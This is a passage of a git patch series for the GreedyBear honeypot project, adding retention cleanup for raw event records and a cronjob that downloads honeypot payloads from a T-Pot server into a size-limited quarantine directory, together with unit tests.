testing. stats_repo: Optional StatisticsRepository instance for testing. api_source_repo: Optional APISourceRepository instance for testing. + event_repo: Optional EventRepository instance for testing. """ super().__init__() self.ioc_repo = ioc_repo if ioc_repo is not None else IocRepository() self.cowrie_repo = cowrie_repo if cowrie_repo is not None else CowrieSessionRepository() self.stats_repo = stats_repo if stats_repo is not None else StatisticsRepository() self.api_source_repo = api_source_repo if api_source_repo is not None else APISourceRepository() + self.event_repo = event_repo if event_repo is not None else EventRepository() def run(self) -> None: """ @@ -54,6 +58,8 @@ def run(self) -> None: 6. Deletes all command sequences older than COMMAND_SEQUENCE_RETENTION days 7. Deletes Statistics records older than STATISTICS_RETENTION days 8. Resets APISource invalid_event_count daily for retention enforcement + 9. Deletes all RawEvents older than RAW_EVENT_RETENTION days + 10. Deletes all EventStatus older than EVENT_STATUS_RETENTION days Each deletion operation is logged with the number of affected records. """ @@ -62,6 +68,8 @@ def run(self) -> None: session_expiration_date = datetime.now() - timedelta(days=30) session_with_login_expiration_date = datetime.now() - timedelta(days=COWRIE_SESSION_RETENTION) statistics_expiration_date = datetime.now() - timedelta(days=STATISTICS_RETENTION) + raw_event_expiration_date = datetime.now() - timedelta(days=RAW_EVENT_RETENTION) + event_status_expiration_date = datetime.now() - timedelta(days=EVENT_STATUS_RETENTION) self.log.info(f"deleting all IOC older then {IOC_RETENTION} days") n = self.ioc_repo.delete_old_iocs(ioc_expiration_date) @@ -90,3 +98,11 @@ def run(self) -> None: self.log.info("Resetting APISource invalid_event_count daily retention") updated = self.api_source_repo.reset_invalid_counts() self.log.info(f"Reset invalid_event_count to 0 for {updated} APISources") + + self.log.info(f"deleting all RawEvents older then {RAW_EVENT_RETENTION} days") + n = self.event_repo.delete_old_raw_events(raw_event_expiration_date) + self.log.info(f"{n} objects deleted") + + self.log.info(f"deleting all EventStatuses older then {EVENT_STATUS_RETENTION} days") + n = self.event_repo.delete_old_event_statuses(event_status_expiration_date) + self.log.info(f"{n} objects deleted") diff --git a/greedybear/cronjobs/repositories/__init__.py b/greedybear/cronjobs/repositories/__init__.py index b0309e805..3ac4f29fe 100644 --- a/greedybear/cronjobs/repositories/__init__.py +++ b/greedybear/cronjobs/repositories/__init__.py @@ -2,6 +2,7 @@ from greedybear.cronjobs.repositories.autonomous_system import * from greedybear.cronjobs.repositories.cowrie_session import * from greedybear.cronjobs.repositories.elastic import * +from greedybear.cronjobs.repositories.event import * from greedybear.cronjobs.repositories.firehol import * from greedybear.cronjobs.repositories.ioc import * from greedybear.cronjobs.repositories.mass_scanner import * diff --git a/greedybear/cronjobs/repositories/event.py b/greedybear/cronjobs/repositories/event.py new file mode 100644 index 000000000..62375ea31 --- /dev/null +++ b/greedybear/cronjobs/repositories/event.py @@ -0,0 +1,26 @@ +import logging + +from greedybear.models import EventStatus, RawEvent + + +class EventRepository: + """ + Repository for data access to RawEvent and EventStatus entries. + """ + + def __init__(self): + self.log = logging.getLogger(f"{__name__}.{self.__class__.__name__}") + + def delete_old_raw_events(self, expiration_date) -> int: + """ + Delete RawEvent entries older than the specified date. + """ + deleted_count, _ = RawEvent.objects.filter(created_at__lt=expiration_date).delete() + return deleted_count + + def delete_old_event_statuses(self, expiration_date) -> int: + """ + Delete EventStatus entries older than the specified date. + """ + deleted_count, _ = EventStatus.objects.filter(created_at__lt=expiration_date).delete() + return deleted_count diff --git a/greedybear/settings.py b/greedybear/settings.py index abd849063..55c610b4a 100644 --- a/greedybear/settings.py +++ b/greedybear/settings.py @@ -512,6 +512,9 @@ COWRIE_SESSION_RETENTION = int(os.environ.get("COWRIE_SESSION_RETENTION", "365")) COMMAND_SEQUENCE_RETENTION = int(os.environ.get("COMMAND_SEQUENCE_RETENTION", "365")) STATISTICS_RETENTION = 730 +RAW_EVENT_RETENTION = int(os.environ.get("RAW_EVENT_RETENTION", "7")) +EVENT_STATUS_RETENTION = int(os.environ.get("EVENT_STATUS_RETENTION", "30")) + TRENDING_MAX_WINDOW_MINUTES = int(os.environ.get("TRENDING_MAX_WINDOW_MINUTES", str((24 * 31 * 60) // 2))) TRENDING_BUCKET_RETENTION_HOURS = int(os.environ.get("TRENDING_BUCKET_RETENTION_HOURS", str(24 * 31))) diff --git a/tests/greedybear/cronjobs/test_cleanup.py b/tests/greedybear/cronjobs/test_cleanup.py index 42f6f63cb..31a1383cb 100644 --- a/tests/greedybear/cronjobs/test_cleanup.py +++ b/tests/greedybear/cronjobs/test_cleanup.py @@ -5,6 +5,7 @@ from greedybear.cronjobs.repositories import ( APISourceRepository, CowrieSessionRepository, + EventRepository, IocRepository, StatisticsRepository, ) @@ -24,11 +25,15 @@ def test_init_uses_default_repos(self): self.assertIsInstance(cleanup_job.cowrie_repo, CowrieSessionRepository) self.assertIsInstance(cleanup_job.stats_repo, StatisticsRepository) self.assertIsInstance(cleanup_job.api_source_repo, APISourceRepository) + self.assertIsInstance(cleanup_job.event_repo, EventRepository) + self.assertIsNotNone(cleanup_job.event_repo) @patch("greedybear.cronjobs.cleanup.IOC_RETENTION", 100) @patch("greedybear.cronjobs.cleanup.COMMAND_SEQUENCE_RETENTION", 90) @patch("greedybear.cronjobs.cleanup.COWRIE_SESSION_RETENTION", 80) @patch("greedybear.cronjobs.cleanup.STATISTICS_RETENTION", 700) + @patch("greedybear.cronjobs.cleanup.RAW_EVENT_RETENTION", 7) + @patch("greedybear.cronjobs.cleanup.EVENT_STATUS_RETENTION", 30) def test_run_calls_repository_methods_with_correct_dates(self): """Test that run method calls repository deletion methods with correct retention dates.""" # Create mock repositories @@ -36,6 +41,7 @@ def test_run_calls_repository_methods_with_correct_dates(self): cowrie_repo = MagicMock() stats_repo = MagicMock() api_source_repo = MagicMock() + event_repo = MagicMock() # Setup return values for logging purposes ioc_repo.delete_old_iocs.return_value = 10 @@ -45,6 +51,8 @@ def test_run_calls_repository_methods_with_correct_dates(self): cowrie_repo.delete_sessions_without_commands.return_value = 8 stats_repo.delete_old_statistics.return_value = 3 api_source_repo.reset_invalid_counts.return_value = 4 + event_repo.delete_old_raw_events.return_value = 50 + event_repo.delete_old_event_statuses.return_value = 12 # Initialize CleanUp with mocks cleanup_job = CleanUp( @@ -52,6 +60,7 @@ def test_run_calls_repository_methods_with_correct_dates(self): cowrie_repo=cowrie_repo, stats_repo=stats_repo, api_source_repo=api_source_repo, + event_repo=event_repo, ) # Mock the logger to verify logging calls @@ -106,13 +115,28 @@ def test_run_calls_repository_methods_with_correct_dates(self): time_diff = abs((actual_date - expected_stats_date).total_seconds()) self.assertLess(time_diff, 1, f"Date difference ({time_diff}s) exceeds 1 second tolerance") + # Verify interactions with EventRepository - RawEvent + event_repo.delete_old_raw_events.assert_called_once() + expected_raw_date = datetime.now() - timedelta(days=7) + args, _ = event_repo.delete_old_raw_events.call_args + actual_date = args[0] + time_diff = abs((actual_date - expected_raw_date).total_seconds()) + self.assertLess(time_diff, 1, f"RawEvent Date difference ({time_diff}s) exceeds 1 second tolerance") + + # Verify interactions with EventRepository - EventStatus + event_repo.delete_old_event_statuses.assert_called_once() + expected_status_date = datetime.now() - timedelta(days=30) + args, _ = event_repo.delete_old_event_statuses.call_args + actual_date = args[0] + time_diff = abs((actual_date - expected_status_date).total_seconds()) + self.assertLess(time_diff, 1, f"EventStatus Date difference ({time_diff}s) exceeds 1 second tolerance") # Verify interactions with APISourceRepository api_source_repo.reset_invalid_counts.assert_called_once() # Verify logging messages # We expect 7 pairs/entries of logs (including your new retention entries) # 14 total calls to info level - self.assertEqual(cleanup_job.log.info.call_count, 14) + self.assertEqual(cleanup_job.log.info.call_count, 18) # Check specific log messages to ensure counts are logged cleanup_job.log.info.assert_any_call("10 objects deleted") @@ -122,6 +146,8 @@ def test_run_calls_repository_methods_with_correct_dates(self): cleanup_job.log.info.assert_any_call("8 objects deleted") cleanup_job.log.info.assert_any_call("3 objects deleted") cleanup_job.log.info.assert_any_call("Reset invalid_event_count to 0 for 4 APISources") + cleanup_job.log.info.assert_any_call("50 objects deleted") + cleanup_job.log.info.assert_any_call("12 objects deleted") def test_run_handles_zero_deletions(self): """Test that run method handles cases where no objects are deleted.""" @@ -129,6 +155,7 @@ def test_run_handles_zero_deletions(self): cowrie_repo = MagicMock() stats_repo = MagicMock() api_source_repo = MagicMock() + event_repo = MagicMock() # Setup return values as 0 ioc_repo.delete_old_iocs.return_value = 0 @@ -138,12 +165,15 @@ def test_run_handles_zero_deletions(self): cowrie_repo.delete_sessions_without_commands.return_value = 0 stats_repo.delete_old_statistics.return_value = 0 api_source_repo.reset_invalid_counts.return_value = 0 + event_repo.delete_old_raw_events.return_value = 0 + event_repo.delete_old_event_statuses.return_value = 0 cleanup_job = CleanUp( ioc_repo=ioc_repo, cowrie_repo=cowrie_repo, stats_repo=stats_repo, api_source_repo=api_source_repo, + event_repo=event_repo, ) cleanup_job.log = MagicMock() @@ -157,6 +187,8 @@ def test_run_handles_zero_deletions(self): cowrie_repo.delete_sessions_without_commands.assert_called_once() stats_repo.delete_old_statistics.assert_called_once() api_source_repo.reset_invalid_counts.assert_called_once() + event_repo.delete_old_raw_events.assert_called_once() + event_repo.delete_old_event_statuses.assert_called_once() # Verify zero counts are logged cleanup_job.log.info.assert_any_call("0 objects deleted") From 88768ae3bbb0e1815e29c8e13904f4705a6a02fd Mon Sep 17 00:00:00 2001 From: Krishna Awasthi <140143710+opbot-xd@users.noreply.github.com> Date: Fri, 3 Jul 2026 14:48:16 +0530 Subject: [PATCH 065/131] Implement Django Q2 Task for Payload Extraction. Closes #1404 (#1435) * feat: implement payload extraction cronjob with deduplication and disk quota enforcement * refactor: adjust quarantine directory configuration for CI and optimize disk usage calculation logic * refactor: add type hints to payload extraction cronjob, improve deduplication logic, and update template port example --- docker/env_file_template | 13 + greedybear/cronjobs/payload_extraction.py | 199 ++++++++++++ greedybear/settings.py | 10 +- greedybear/tasks.py | 10 + pyproject.toml | 2 +- tests/test_payload_extraction.py | 377 ++++++++++++++++++++++ tests/test_tasks.py | 17 +- 7 files changed, 621 insertions(+), 7 deletions(-) create mode 100644 greedybear/cronjobs/payload_extraction.py create mode 100644 tests/test_payload_extraction.py diff --git a/docker/env_file_template b/docker/env_file_template index f36aac3d2..38536903d 100644 --- a/docker/env_file_template +++ b/docker/env_file_template @@ -110,6 +110,19 @@ TRENDING_BUCKET_RETENTION_HOURS=744 # Example: https://github.com/honeynet/GreedyBear/blob/main/FEEDS_LICENSE.md FEEDS_LICENSE= +# T-Pot Payload Server URL for downloading honeypot payloads. +# If not set, payload extraction is disabled. +# Example: https://tpot.example.com:64299 +TPOT_PAYLOAD_SERVER_URL= + +# Optional API key for authenticating with the T-Pot Payload Server. +# When empty, authentication is disabled on both sides. +TPOT_PAYLOAD_SERVER_API_KEY= + +# Maximum disk usage (in GB) for the quarantine directory. +# Payload downloads are paused when this limit is reached. +MAX_QUARANTINE_SIZE_GB=5 + # Optional IntelOwl base URL. When set, a link to analyze each IOC on IntelOwl # will appear in the Feeds table. # Example: https://your-intelowl-instance.example.com diff --git a/greedybear/cronjobs/payload_extraction.py b/greedybear/cronjobs/payload_extraction.py new file mode 100644 index 000000000..927bcee7b --- /dev/null +++ b/greedybear/cronjobs/payload_extraction.py @@ -0,0 +1,199 @@ +# This file is a part of GreedyBear https://github.com/honeynet/GreedyBear +# See the file 'LICENSE' for copying permission. + +import time +from pathlib import Path + +import requests +from django.conf import settings +from django.core.files.base import ContentFile + +from greedybear.cronjobs.base import Cronjob +from greedybear.cronjobs.http_client import HttpClient +from greedybear.models import HoneypotPayload + + +class PayloadExtractionJob(Cronjob): + """ + Fetch new payloads from the tpot-payload-server, deduplicate them + by SHA256 hash, and save them to the quarantine directory. + + This job: + 1. Queries the payload server's ``/api/v1/payloads/recent`` endpoint for + metadata of files modified within the last extraction interval. + 2. Skips any payload whose SHA256 already exists in the database. + 3. Checks quarantine disk usage against MAX_QUARANTINE_SIZE_GB before downloading. + 4. Downloads new payload files via ``/api/v1/payloads/download/{locator}`` + and saves them via QuarantineStorage. + """ + + # Timeout for the metadata listing request (seconds). + METADATA_TIMEOUT = 30 + # Timeout for individual file download requests (seconds). + DOWNLOAD_TIMEOUT = 120 + + def run(self) -> None: + server_url = settings.TPOT_PAYLOAD_SERVER_URL + if not server_url: + self.log.info("TPOT_PAYLOAD_SERVER_URL not configured, skipping payload extraction.") + return + + max_size_bytes = settings.MAX_QUARANTINE_SIZE_GB * (1024**3) + + with HttpClient(default_timeout=self.METADATA_TIMEOUT) as client: + # Step 1: Fetch payload metadata from the server. + payloads = self._fetch_metadata(client, server_url) + if not payloads: + self.log.info("No payloads returned from server.") + return + + # Step 2: Filter out already-known payloads by SHA256. + new_payloads = self._deduplicate(payloads) + if not new_payloads: + self.log.info("All payloads already exist in the database.") + return + + self.log.info(f"Found {len(new_payloads)} new payload(s) to download.") + + # Step 3: Download and store each new payload. + downloaded = 0 + skipped_count = 0 + for payload_meta in new_payloads: + # Check disk usage before each download. + if self._quarantine_usage_bytes() >= max_size_bytes: + self.log.warning(f"Quarantine directory has reached the {settings.MAX_QUARANTINE_SIZE_GB} GB limit. Stopping downloads.") + break + + if self._download_and_store(client, server_url, payload_meta): + downloaded += 1 + else: + skipped_count += 1 + + self.log.info(f"Payload extraction complete: {downloaded} downloaded, {skipped_count} skipped/failed.") + + def _build_auth_headers(self) -> dict: + """ + Build the authentication headers for the payload server. + + Returns: + dict: Headers dict with the API key, or empty dict if not configured. + """ + api_key = settings.TPOT_PAYLOAD_SERVER_API_KEY + if api_key: + return {"X-API-Key": api_key} + return {} + + def _fetch_metadata(self, client: HttpClient, server_url: str) -> list[dict]: + """ + Fetch the list of recently modified payloads from the tpot-payload-server. + + Queries the ``/api/v1/payloads/recent`` endpoint with a time window + spanning the last ``EXTRACTION_INTERVAL`` minutes. + + Returns: + list[dict]: List of payload metadata dicts, or empty list on error. + """ + end_ts = time.time() + start_ts = end_ts - (settings.EXTRACTION_INTERVAL * 60) + + url = f"{server_url.rstrip('/')}/api/v1/payloads/recent" + params = {"start_ts": start_ts, "end_ts": end_ts} + headers = self._build_auth_headers() + + try: + response = client.get(url, params=params, headers=headers) + data = response.json() + except requests.RequestException: + self.log.exception("Failed to fetch payload metadata from server.") + return [] + except (ValueError, KeyError): + self.log.exception("Failed to parse payload metadata response.") + return [] + + if not isinstance(data, list): + self.log.error("Payload metadata response is not a list, skipping.") + return [] + return data + + def _deduplicate(self, payloads: list[dict]) -> list[dict]: + """ + Filter out payloads whose SHA256 already exists in the database + and remove duplicates within the response itself. + + Args: + payloads: List of payload metadata dicts (must contain 'sha256' key). + + Returns: + list[dict]: Only the unique payloads not yet stored locally. + """ + incoming_hashes = {p["sha256"] for p in payloads if "sha256" in p} + existing_hashes = set(HoneypotPayload.objects.filter(sha256__in=incoming_hashes).values_list("sha256", flat=True)) + new_hashes = incoming_hashes - existing_hashes + self.log.debug(f"Deduplication: {len(incoming_hashes)} incoming, {len(existing_hashes)} existing, {len(new_hashes)} new.") + # Keep only the first occurrence of each sha256 to avoid IntegrityError. + seen = set() + unique = [] + for p in payloads: + sha = p.get("sha256") + if sha in new_hashes and sha not in seen: + seen.add(sha) + unique.append(p) + return unique + + def _quarantine_usage_bytes(self) -> int: + """ + Return the total size of files in the quarantine directory in bytes. + """ + quarantine_path = Path(settings.QUARANTINE_DIR) + if not quarantine_path.is_dir(): + return 0 + return sum(f.stat().st_size for f in quarantine_path.iterdir() if f.is_file()) + + def _download_and_store(self, client: HttpClient, server_url: str, payload_meta: dict) -> bool: + """ + Download a single payload file and create its database record. + + Args: + client: HttpClient instance. + server_url: Base URL of the payload server. + payload_meta: Dict with at least 'sha256' and 'locator' keys. + + Returns: + bool: True if download and storage succeeded, False otherwise. + """ + sha256 = payload_meta["sha256"] + locator = payload_meta.get("locator", "") + + if not locator: + self.log.warning(f"Payload {sha256[:12]}… has no locator, skipping.") + return False + + download_url = f"{server_url.rstrip('/')}/api/v1/payloads/download/{locator}" + headers = self._build_auth_headers() + + try: + response = client.get(download_url, timeout=self.DOWNLOAD_TIMEOUT, headers=headers) + except requests.RequestException: + self.log.exception(f"Failed to download payload {sha256[:12]}…") + return False + + file_content = response.content + + # Create the database record with metadata. + payload_obj = HoneypotPayload( + sha256=sha256, + md5=payload_meta.get("md5", ""), + sha1=payload_meta.get("sha1", ""), + mime_type=payload_meta.get("mime_type", ""), + size=len(file_content), + locator=locator, + mtime=payload_meta.get("mtime"), + ) + + # Save the binary content via QuarantineStorage. + filename = f"{sha256}.vir" + payload_obj.payload_file.save(filename, ContentFile(file_content), save=False) + payload_obj.save() + + self.log.info(f"Stored new payload {sha256[:12]}… ({len(file_content)} bytes).") + return True diff --git a/greedybear/settings.py b/greedybear/settings.py index 55c610b4a..5003f1b8b 100644 --- a/greedybear/settings.py +++ b/greedybear/settings.py @@ -2,6 +2,7 @@ # See the file 'LICENSE' for copying permission. import logging import os +import sys import tomllib from datetime import timedelta from pathlib import Path @@ -19,7 +20,9 @@ DEBUG = os.environ.get("DEBUG", "False") == "True" DJANGO_LOG_DIRECTORY = "/var/log/greedybear/django" -QUARANTINE_DIR = "/var/lib/greedybear/quarantine" +TPOT_PAYLOAD_SERVER_URL = os.environ.get("TPOT_PAYLOAD_SERVER_URL", "") +TPOT_PAYLOAD_SERVER_API_KEY = os.environ.get("TPOT_PAYLOAD_SERVER_API_KEY", "") +MAX_QUARANTINE_SIZE_GB = float(os.environ.get("MAX_QUARANTINE_SIZE_GB", "5")) ML_MODEL_DIRECTORY = BASE_DIR / "mlmodels" # "/opt/deploy/greedybear/mlmodels" ML_CONFIG_FILE = BASE_DIR / "configuration" / "ml_config.json" MOCK_CONNECTIONS = os.environ.get("MOCK_CONNECTIONS", "False") == "True" @@ -27,7 +30,10 @@ STAGE_PRODUCTION = STAGE == "production" STAGE_LOCAL = STAGE == "local" STAGE_CI = STAGE == "ci" - +if STAGE_CI or "test" in sys.argv: + QUARANTINE_DIR = "/tmp/greedybear/quarantine" +else: + QUARANTINE_DIR = "/var/lib/greedybear/quarantine" PUBLIC_DEPLOYMENT = os.environ.get("PUBLIC_DEPLOYMENT", "True") == "True" AWS_REGION = os.environ.get("AWS_REGION") diff --git a/greedybear/tasks.py b/greedybear/tasks.py index 13c660314..cc0cda242 100644 --- a/greedybear/tasks.py +++ b/greedybear/tasks.py @@ -19,6 +19,16 @@ def extract_all(): if midnight_extraction: train_and_update() + # After every extraction, attempt to fetch new payloads from + # the tpot-payload-server (no-op if URL is not configured). + extract_honeypot_payloads() + + +def extract_honeypot_payloads(): + from greedybear.cronjobs.payload_extraction import PayloadExtractionJob + + PayloadExtractionJob().execute() + def monitor_honeypots(): from greedybear.cronjobs.monitor_honeypots import MonitorHoneypots diff --git a/pyproject.toml b/pyproject.toml index 454f6871b..e11d51340 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -137,7 +137,7 @@ ignore = [ # Misinterpreted regex "greedybear/consts.py" = ["S105"] # Dummy key for certego-saas compatibility and useful print statements -"greedybear/settings.py" = ["S105", "T201"] +"greedybear/settings.py" = ["S105", "S108", "T201"] # String-based query (no equvalent ORM call exists) "greedybear/cronjobs/repositories/trending_bucket.py" = ["S608"] # Print statements diff --git a/tests/test_payload_extraction.py b/tests/test_payload_extraction.py new file mode 100644 index 000000000..d1dbd7abe --- /dev/null +++ b/tests/test_payload_extraction.py @@ -0,0 +1,377 @@ +from unittest.mock import MagicMock, Mock, patch + +import requests +from django.test import override_settings + +from greedybear.cronjobs.payload_extraction import PayloadExtractionJob +from greedybear.models import HoneypotPayload + +from . import CustomTestCase + + +class TestPayloadExtractionJob(CustomTestCase): + """Tests for the PayloadExtractionJob cronjob.""" + + def setUp(self): + super().setUp() + self.job = PayloadExtractionJob() + + @override_settings(TPOT_PAYLOAD_SERVER_URL="") + def test_skips_when_url_not_configured(self): + """Job should be a no-op when TPOT_PAYLOAD_SERVER_URL is empty.""" + self.job.run() + # No exception, no payloads created. + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="test-key", + ) + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_skips_when_no_payloads_returned(self, mock_http_class): + """Job should exit cleanly when the server returns an empty list.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_response = Mock() + mock_response.json.return_value = [] + mock_client.get.return_value = mock_response + + self.job.run() + self.assertEqual(HoneypotPayload.objects.count(), 0) + + # Verify it hit the /recent endpoint with timestamps. + call_args = mock_client.get.call_args + self.assertIn("/api/v1/payloads/recent", call_args[0][0]) + self.assertIn("start_ts", call_args[1]["params"]) + self.assertIn("end_ts", call_args[1]["params"]) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="test-key", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_downloads_new_payload(self, mock_http_class, mock_usage): + """Job should download and store a payload not yet in the database.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + # Payload metadata response + payload_meta = { + "sha256": "a" * 64, + "md5": "b" * 32, + "sha1": "c" * 40, + "mime_type": "application/octet-stream", + "locator": "cowrie/aaa", + "mtime": 1719000000.0, + } + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [payload_meta] + + # Download response + mock_download_resp = Mock() + mock_download_resp.content = b"\x00" * 256 + + mock_client.get.side_effect = [mock_metadata_resp, mock_download_resp] + mock_usage.return_value = 0 # Under the limit. + + self.job.run() + + self.assertEqual(HoneypotPayload.objects.count(), 1) + obj = HoneypotPayload.objects.first() + self.assertEqual(obj.sha256, "a" * 64) + self.assertEqual(obj.md5, "b" * 32) + self.assertEqual(obj.sha1, "c" * 40) + self.assertEqual(obj.mime_type, "application/octet-stream") + self.assertEqual(obj.size, 256) + self.assertEqual(obj.locator, "cowrie/aaa") + + # Verify download hit the /download/ endpoint. + download_call = mock_client.get.call_args_list[1] + self.assertIn("/api/v1/payloads/download/cowrie/aaa", download_call[0][0]) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="test-key", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_deduplicates_existing_payloads(self, mock_http_class, mock_usage): + """Job should skip payloads that already exist in the database.""" + # Pre-create a payload record. + HoneypotPayload.objects.create(sha256="a" * 64) + + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [ + {"sha256": "a" * 64, "locator": "cowrie/aaa"}, + ] + mock_client.get.return_value = mock_metadata_resp + mock_usage.return_value = 0 + + self.job.run() + + # Only the one we pre-created, nothing new downloaded. + self.assertEqual(HoneypotPayload.objects.count(), 1) + # get() was called only once (metadata request), no download request. + self.assertEqual(mock_client.get.call_count, 1) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="", + MAX_QUARANTINE_SIZE_GB=0.001, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_stops_when_quarantine_limit_reached(self, mock_http_class, mock_usage): + """Job should stop downloading when quarantine size limit is exceeded.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [ + {"sha256": "d" * 64, "locator": "cowrie/ddd"}, + ] + mock_client.get.return_value = mock_metadata_resp + + # Report disk usage above the limit (0.001 GB ~ 1,073,741 bytes). + mock_usage.return_value = 2_000_000 + + self.job.run() + + # No payload should have been downloaded. + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="test-key", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_skips_payload_without_locator(self, mock_http_class, mock_usage): + """Job should skip payloads that have no locator field.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [ + {"sha256": "e" * 64, "locator": ""}, + ] + mock_client.get.return_value = mock_metadata_resp + mock_usage.return_value = 0 + + self.job.run() + + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="test-key", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_mixed_new_and_existing_payloads(self, mock_http_class, mock_usage): + """Job should only download payloads not already in the database.""" + # Pre-create one payload. + HoneypotPayload.objects.create(sha256="a" * 64) + + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [ + {"sha256": "a" * 64, "locator": "cowrie/aaa"}, # existing + {"sha256": "f" * 64, "locator": "cowrie/fff", "md5": "1" * 32}, # new + ] + mock_download_resp = Mock() + mock_download_resp.content = b"\xde\xad" + + mock_client.get.side_effect = [mock_metadata_resp, mock_download_resp] + mock_usage.return_value = 0 + + self.job.run() + + self.assertEqual(HoneypotPayload.objects.count(), 2) + new_obj = HoneypotPayload.objects.get(sha256="f" * 64) + self.assertEqual(new_obj.size, 2) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="my-secret-key", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_sends_api_key_header(self, mock_http_class, mock_usage): + """Job should send X-API-Key header when TPOT_PAYLOAD_SERVER_API_KEY is set.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [] + mock_client.get.return_value = mock_metadata_resp + mock_usage.return_value = 0 + + self.job.run() + + call_args = mock_client.get.call_args + self.assertEqual(call_args[1]["headers"]["X-API-Key"], "my-secret-key") + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_no_api_key_sends_empty_headers(self, mock_http_class, mock_usage): + """Job should not send X-API-Key when the key is not configured.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_metadata_resp = Mock() + mock_metadata_resp.json.return_value = [] + mock_client.get.return_value = mock_metadata_resp + mock_usage.return_value = 0 + + self.job.run() + + call_args = mock_client.get.call_args + self.assertNotIn("X-API-Key", call_args[1]["headers"]) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="", + ) + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_handles_network_error_on_metadata_fetch(self, mock_http_class): + """Job should handle network errors when fetching metadata gracefully.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_client.get.side_effect = requests.ConnectionError("connection refused") + + self.job.run() + + # No crash, no payloads created. + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="", + ) + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_handles_invalid_json_response(self, mock_http_class): + """Job should handle malformed JSON from the server gracefully.""" + mock_client = MagicMock() + mock_http_class.return_value.__enter__ = Mock(return_value=mock_client) + mock_http_class.return_value.__exit__ = Mock(return_value=False) + + mock_response = Mock() + mock_response.json.side_effect = ValueError("No JSON object could be decoded") + mock_client.get.return_value = mock_response + + self.job.run() + + self.assertEqual(HoneypotPayload.objects.count(), 0) + + @override_settings( + TPOT_PAYLOAD_SERVER_URL="http://payload-server:8000", + TPOT_PAYLOAD_SERVER_API_KEY="", + MAX_QUARANTINE_SIZE_GB=5, + ) + @patch("greedybear.cronjobs.payload_extraction.PayloadExtractionJob._quarantine_usage_bytes") + @patch("greedybear.cronjobs.payload_extraction.HttpClient") + def test_handles_download_failure(self, mock_http_class, mock_usage): + 